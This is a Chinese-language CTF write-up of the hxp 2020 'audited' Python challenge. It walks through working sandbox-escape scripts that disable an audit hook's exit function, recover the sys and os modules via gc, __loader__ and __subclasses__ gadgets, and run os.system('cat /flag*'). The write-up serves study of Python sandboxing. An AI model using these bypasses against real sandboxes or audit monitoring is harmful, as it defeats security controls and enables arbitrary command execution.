hxp2020-audited
1. 前言
更新时间 | 更新内容 |
---|---|
2020-12-26 | 初稿 |
2020-12-27 | 第二种利用方式 |
上周末打了一下hxp ctf[1]. 因为和考试撞了所以就看了一个题, 也没做出来. 赛后看大佬们的wp还是挺有意思的. 通过这个题目学到了很多新知识, 记录并分享一下.
2. 正文
这是一个python pwn. 题目附件中有服务端如下(python版本是的最新python 3.9
):
#!/usr/bin/python3 -u
import sys
from os import _exit as __exit
def audit(name, args):
if not audit.did_exec and name == 'exec':
audit.did_exec = True
else:
__exit(1)
audit.did_exec = False
sys.stdout.write('> ')
try:
code = compile(sys.stdin.read(), '<user input>', 'exec')
except:
__exit(1)
sys.stdin.close()
for module in set(sys.modules.keys()):
if module in sys.modules:
del sys.modules[module]
sys.addaudithook(audit)
namespace = {}
try:
exec(code, namespace, namespace)
except:
__exit(1)
__exit(0)
题目用到了python 3.8中新引入的一个特性: audit[2]. 用户可以通过 sys.addaudithook
添加一个 audit hook 函数, 之后在执行过程中遇到某些事件(如import 某个 module)时就会触发这个 audit hook 函数, 并把对应事件类型和参数传给该audit hook 函数. cpython中有一些列事件默认会触发 audit hook 函数(详见[3]). 用户也可以通过sys.audit(event, args)
来触发audit hook 函数. 这个特性的本意是为了使得python的执行过程对管理人员队更透明的.
本题中会将用户输出的代码编译执行, 不过有两个限制操作:
- sys.modules 中的module都
del
了 - 有个audit hook函数, 只允许一次
exec
, 否则就会调用__exit(1)
当时看到这儿时我就猜测是不是有什么绕过audit的骚操作, 还真搜到一个视频[4]. 视频中老哥的思路是修改内存中python解释器的关于调用audit hook那部分的代码. 在修改过程中必然要触发好几次audit hook函数, 显然无法使用.
赛后看来两位师傅的writeup[5][6]. 学到了很多.
大致思路如下:
- 修改
__exit
为一个无效函数 - 想办法拿到
os
模块 os.system("cat /flag*")
接下来我们就看看如何具体实现
2.1. 修改 __exit 为无效函数
我们使用如下代码进行测试
import sys
from os import _exit as __exit
def audit(name, args):
print(f"[*] {name} {args}")
if not audit.did_exec and name == 'exec':
audit.did_exec = True
else:
__exit(1)
audit.did_exec = False
tmp = """
"""
code = compile(tmp, '<user input>', 'exec')
sys.addaudithook(audit)
exec(code, {}, {})
我们的目的是构造一段代码, 使其仅触发一次audit函数就将__exit
修改成一个无用函数.
通过查看exec()
的文档[7]可以发现下面这一段:
If the globals dictionary does not contain a value for the key
__builtins__
, a reference to the dictionary of the built-in modulebuiltins
is inserted under that key. That way you can control whatbuiltins
are available to the executed code by inserting your own__builtins__
dictionary into globals before passing it to exec().
因此我们可以使用如下语句加载sys
模块(来自fab1ano师傅的思路[5])
sys = __builtins__["__loader__"].load_module('sys')
我们可以构造代码如下
tmp = """
sys = __builtins__["__loader__"].load_module('sys')
sys.modules['__main__'].__exit = lambda x : print("[+] bypassed!")
import os
os.system("id")
"""
执行发现可以成功将__exit
替换:
[*] exec (<code object <module> at 0x7ffff77d85b0, file "<user input>", line 2>,)
[*] os.system (b'id',)
[+] bypassed!
...
至此我们就可以任意次触发 audit 函数而不用担心程序退出了, 接下来我们要做的解决sys.modules
被删除的问题.
2.2. 想办法拿到os
模块
关于sys.modules
的作用[8]中是这么说的:
Python import 的步骤 python 所有加载的模块信息都存放在 sys.modules 结构中,当 import 一个模块时,会按如下步骤来进行 如果是 import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A 如果是 from A import B,先为 A 创建 module 对象,再解析A,从中寻找B并填充到 A 的 dict 中
我们更新测试代码, 加入删除sys.modules
代码:
import sys
from os import _exit as __exit
def audit(name, args):
print(f"[*] {name} {args}")
if not audit.did_exec and name == 'exec':
audit.did_exec = True
else:
__exit(1)
audit.did_exec = False
tmp = """
"""
code = compile(tmp, '<user input>', 'exec')
for module in set(sys.modules.keys()):
if module in sys.modules:
del sys.modules[module]
sys.addaudithook(audit)
exec(code, {}, {})
此时再使用之前的解法就会报错.
sys.modules
中的__main__
被删除了, 所以这个语句sys.modules['__main__']
会报错.os
模块也被从sys.modules
中删除了, 所以此时执行import os
python会找到os.py
执行并导入模块, 这个过程中会触发多次 audit hook函数.
下面时报错信息.
[*] exec (<code object <module> at 0x7ffff77d85b0, file "<user input>", line 2>,)
[*] sys.excepthook (<built-in function excepthook>, <class 'KeyError'>, KeyError('__main__'), <traceback object at 0x7ffff77d7d40>)
我们无法引用sys.modules["__main__"]
了, 对此fab1ano师傅的做法是使用gc
(又学到了).
而且通过搜索gc
中的对象, 可以将__main__
和os
都定位到.
最终代码如下:
tmp = """
sys = __builtins__['__loader__'].load_module('sys')
gc = __builtins__['__loader__'].load_module('gc')
print('Searching for modules __main__ and os in garbage collector objects')
for obj in gc.get_objects():
if '__name__' in dir(obj):
if '__main__' in obj.__name__:
print('Found module __main__')
mod_main = obj
if 'os' == obj.__name__:
print('Found module os')
mod_os = obj
mod_main.__exit = lambda x : print("[+] bypass")
mod_os.system("id")
"""
成功 bypass 并执行命令;
Searching for modules __main__ and os in garbage collector objects
Found module __main__
Found module os
[*] os.system (b'id',)
[+] bypass
...
2.3. another way
hstocks师傅使用的另外一种方法来引入 sys
和 os
模块, 这个方法好像在沙箱逃逸时挺常用的, 不过classes
的索引在不同版本的python中好像不一样, 具体原理还不清楚.
classes = ''.__class__.__base__.__subclasses__()
sys = classes[133].__init__.__globals__['sys']
os = classes[94].__init__.__globals__['_os']
写了个脚本, 用来搜索可以用这个方法导入的模块. (因为不同python版本的偏移可以不一样)
classes = ''.__class__.__base__.__subclasses__()
sys_not_found = True
os_not_found = True
for (idx, c) in enumerate(classes):
i = c.__init__
if "__globals__" not in dir(i):
continue
g = i.__globals__
if sys_not_found and 'sys' in g:
print(f"sys = classes[{idx}].__init__.__globals__['sys']")
sys = g['sys']
sys_not_found = False
if os_not_found and 'os' in g:
print(f"os = classes[{idx}].__init__.__globals__['os']")
os = g['os']
os_not_found = False
if os_not_found and '_os' in g:
print(f"os = classes[{idx}].__init__.__globals__['_os']")
os = g['_os']
os_not_found = False
if sys_not_found or os_not_found:
continue
break
print(sys)
print(os)
os.system("echo hello wxk")
定位到__main__
模块的方法是通过触发报错然后在调用栈(tarceback)上搜索(又学到了)
代码如下:
try:
raise Exception()
except Exception as e:
_, _, tb = sys.exc_info()
nxt_frame = tb.tb_frame
# Walk up stack frames until we find one which
# has a reference to the audit function
while nxt_frame:
if 'audit' in nxt_frame.f_globals:
break
nxt_frame = nxt_frame.f_back
# Neuter the __exit function
nxt_frame.f_globals['__exit'] = print
# Now we're free to call whatever we want
os.system('cat /flag*')
3. 结语
通过这个题目学到了很多骚操作.
- 通过修改函数绕过 audit
- 通过
__builtins__['__loader__'].load_module('sys')
导入模块 - 通过
gc
绕过对sys.modules
的删除 - 通过
''.__class__.__base__.__subclasses__()
来导入模块 - 通过报错然后搜索traceback来定位
__main__
而且还有个很有意思的事情, python的文档中说明object.__setattr__
, object.__getattr__
和 object.__delattr__
三个事件默认会触发 audit hook的, 但是我在 python 3.9.0 下测试发现这三个事件都不会触发 audit hook 函数, 很奇怪, 测试代码如下:
import sys
def audit(name, args):
print(f"[*] {name} {args}")
tmp = """
class A():
def __init__(self):
self.a = 'a'
a = A()
object.__getattribute__(a, 'a')
object.__setattr__(a, 'a', 'aa')
object.__delattr__(a, 'a')
"""
code = compile(tmp, '<user input>', 'exec')
sys.addaudithook(audit)
exec(code, {}, {})
4. 参考
- hxp CTF 2020 – ctftime.org
- Python Runtime Audit Hooks – PEP 578
- Audit events table – python doc
- Bypassing Python3.8 Audit Hooks – youtube
- writeup by fab1ano – github
- writeup by hstocks – github
- exec()– python doc
- Python沙箱逃逸的n种姿势 – 先知社区
- sys.modules – python doc
- sys.exc_info – python doc
- Python沙箱逃逸总结 – HatBoy